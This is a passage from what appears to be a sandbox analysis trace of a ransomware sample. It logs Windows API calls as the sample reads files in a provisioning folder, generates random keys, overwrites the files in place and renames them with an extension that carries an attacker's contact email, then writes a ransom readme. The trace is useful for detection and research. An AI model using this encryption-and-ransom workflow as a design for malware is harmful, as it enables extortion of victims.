_Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\" [0082.405] wcscat (in: _Dest=0x3487350, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" [0082.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3487350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0082.943] FindNextFileW (in: hFindFile=0x33dfc98, lpFindFileData=0x34ab478 | out: lpFindFileData=0x34ab478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0082.943] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0082.943] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0082.943] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f7a28 [0082.943] wcscpy (in: _Dest=0x33f7a28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" [0082.943] wcscat (in: _Dest=0x33f7a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\" [0082.943] wcscat (in: _Dest=0x33f7a28, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml" [0082.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c [0082.944] FindNextFileW (in: hFindFile=0x33dfc98, lpFindFileData=0x34ab478 | out: lpFindFileData=0x34ab478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0082.944] FindClose (in: hFindFile=0x33dfc98 | out: hFindFile=0x33dfc98) returned 1 [0082.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ab478) returned 1 [0082.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428360) returned 1 [0082.944] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427ce8) returned 1 [0082.944] RtlExitUserThread (Status=0x0) Thread: id = 1095 os_tid = 0x10d4 [0082.410] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml")) returned 0x20 [0082.411] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0082.412] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0082.412] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x270bfd34 | out: lpFileSize=0x270bfd34*=2444) returned 1 [0082.412] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x988, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.412] ReadFile (in: hFile=0x450, lpBuffer=0x270bfd08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x270bfd04, lpOverlapped=0x0 | out: lpBuffer=0x270bfd08*, lpNumberOfBytesRead=0x270bfd04*=0x4, lpOverlapped=0x0) returned 1 [0082.417] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0082.417] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cba0 [0082.417] NtQuerySystemTime (in: CurrentTime=0x270bfce0 | out: CurrentTime=0x270bfce0*=132121176403047043) returned 0x0 [0082.417] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0xcbf67e6f [0082.417] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x51d35b71 [0082.417] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0xc104763b [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x249facf8 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0xd3f7713c [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0xc48541a1 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0xa06ae36c [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0xc360f43b [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0xd660ef11 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x4c489de8 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x4b5e7fa9 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x412af195 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0xb1f6aa86 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x84d77fc [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x679ef5a2 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x80a1afd8 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x1ebc8705 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x62acda4d [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x515c6a23 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0xfeccc4b [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x12ba8104 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x6968335e [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x194a29f2 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x2ae6edf3 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x23e74531 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0xebfe8ffd [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x1a80af9b [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x230f8084 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x137f6454 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x6b0fa2c3 [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0x2c88f62f [0082.418] RtlRandom (in: Seed=0x270bfcec | out: Seed=0x270bfcec) returned 0xa3366855 [0082.429] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.429] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0082.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.429] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.429] ReadFile (in: hFile=0x450, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x98c, lpNumberOfBytesRead=0x270bfce0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x270bfce0*=0x98c, lpOverlapped=0x0) returned 1 [0082.429] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x270bfca8 | out: lpNewFilePointer=0x0) returned 1 [0082.429] WriteFile (in: hFile=0x450, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x98c, lpNumberOfBytesWritten=0x270bfcdc, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x270bfcdc*=0x98c, lpOverlapped=0x0) returned 1 [0082.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0082.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0082.430] WriteFile (in: hFile=0x450, lpBuffer=0x342cab0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x270bfcd8, lpOverlapped=0x0 | out: lpBuffer=0x342cab0*, lpNumberOfBytesWritten=0x270bfcd8*=0x20, lpOverlapped=0x0) returned 1 [0082.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0082.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.430] WriteFile (in: hFile=0x450, lpBuffer=0x342ca88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x270bfd04, lpOverlapped=0x0 | out: lpBuffer=0x342ca88*, lpNumberOfBytesWritten=0x270bfd04*=0x8, lpOverlapped=0x0) returned 1 [0082.430] WriteFile (in: hFile=0x450, lpBuffer=0x270bfd1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x270bfd04, lpOverlapped=0x0 | out: lpBuffer=0x270bfd1c*, lpNumberOfBytesWritten=0x270bfd04*=0x4, lpOverlapped=0x0) returned 1 [0082.430] WriteFile (in: hFile=0x450, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x270bfd04, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x270bfd04*=0x4, lpOverlapped=0x0) returned 1 [0082.430] WriteFile (in: hFile=0x450, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x270bfd04, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x270bfd04*=0x6c, lpOverlapped=0x0) returned 1 [0082.430] WriteFile (in: hFile=0x450, lpBuffer=0x342ca60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x270bfd04, lpOverlapped=0x0 | out: lpBuffer=0x342ca60*, lpNumberOfBytesWritten=0x270bfd04*=0x20, lpOverlapped=0x0) returned 1 [0082.431] WriteFile (in: hFile=0x450, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x270bfd04, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x270bfd04*=0x4, lpOverlapped=0x0) returned 1 [0082.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0082.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0082.431] CloseHandle (hObject=0x450) returned 1 [0082.431] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x342a268 [0082.431] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" [0082.431] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0082.431] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.432] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0082.432] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0082.432] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0082.432] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\" [0082.432] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\D0E731-Readme.txt" [0082.432] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\d0e731-readme.txt")) returned 0xffffffff [0082.432] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0082.434] WriteFile (in: hFile=0x450, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x270bfd00, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x270bfd00*=0x481, lpOverlapped=0x0) returned 1 [0082.436] CloseHandle (hObject=0x450) returned 1 [0082.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0082.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34351e8) returned 1 [0082.436] RtlExitUserThread (Status=0x1) Thread: id = 1096 os_tid = 0x11bc [0082.437] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml")) returned 0x20 [0082.438] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0082.438] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0082.438] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2713fb6c | out: lpFileSize=0x2713fb6c*=271) returned 1 [0082.438] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.439] ReadFile (in: hFile=0x450, lpBuffer=0x2713fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2713fb3c, lpOverlapped=0x0 | out: lpBuffer=0x2713fb40*, lpNumberOfBytesRead=0x2713fb3c*=0x4, lpOverlapped=0x0) returned 1 [0082.439] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0082.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cbc8 [0082.440] NtQuerySystemTime (in: CurrentTime=0x2713fb18 | out: CurrentTime=0x2713fb18*=132121176403360017) returned 0x0 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x2808613f [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xd47bc746 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x6e429479 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xd4b71af1 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x4a61039d [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xfe965eca [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xfce468c5 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xc47868e7 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xad5b0a29 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xd8b98386 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x7bac4e9c [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x7bc52b30 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xe47ebe4a [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x551c2cce [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x86fc70a3 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x32d3114e [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x958432ff [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x6db58cdb [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x5f0502d3 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x41470a49 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xbf51903a [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x75c078b8 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xb60fa459 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xd8cf8cf3 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xb982c7c5 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x3c1f713f [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x9291d3c2 [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0xf6cd6faa [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x22c1912c [0082.440] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x662cd4cb [0082.441] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x15ccbd8 [0082.441] RtlRandom (in: Seed=0x2713fb24 | out: Seed=0x2713fb24) returned 0x529c9197 [0082.451] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.452] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.452] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.452] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0082.452] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.452] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.452] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.452] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.452] ReadFile (in: hFile=0x450, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x2713fb18, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2713fb18*=0x10f, lpOverlapped=0x0) returned 1 [0082.452] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2713fae0 | out: lpNewFilePointer=0x0) returned 1 [0082.452] WriteFile (in: hFile=0x450, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x2713fb14, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2713fb14*=0x10f, lpOverlapped=0x0) returned 1 [0082.452] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.452] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0082.452] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0082.452] WriteFile (in: hFile=0x450, lpBuffer=0x342cab0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2713fb10, lpOverlapped=0x0 | out: lpBuffer=0x342cab0*, lpNumberOfBytesWritten=0x2713fb10*=0x20, lpOverlapped=0x0) returned 1 [0082.452] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.452] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.452] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.452] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0082.452] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.452] WriteFile (in: hFile=0x450, lpBuffer=0x342ca88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2713fb3c, lpOverlapped=0x0 | out: lpBuffer=0x342ca88*, lpNumberOfBytesWritten=0x2713fb3c*=0x8, lpOverlapped=0x0) returned 1 [0082.453] WriteFile (in: hFile=0x450, lpBuffer=0x2713fb54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2713fb3c, lpOverlapped=0x0 | out: lpBuffer=0x2713fb54*, lpNumberOfBytesWritten=0x2713fb3c*=0x4, lpOverlapped=0x0) returned 1 [0082.453] WriteFile (in: hFile=0x450, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2713fb3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2713fb3c*=0x4, lpOverlapped=0x0) returned 1 [0082.453] WriteFile (in: hFile=0x450, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2713fb3c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2713fb3c*=0x6c, lpOverlapped=0x0) returned 1 [0082.453] WriteFile (in: hFile=0x450, lpBuffer=0x342ca60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2713fb3c, lpOverlapped=0x0 | out: lpBuffer=0x342ca60*, 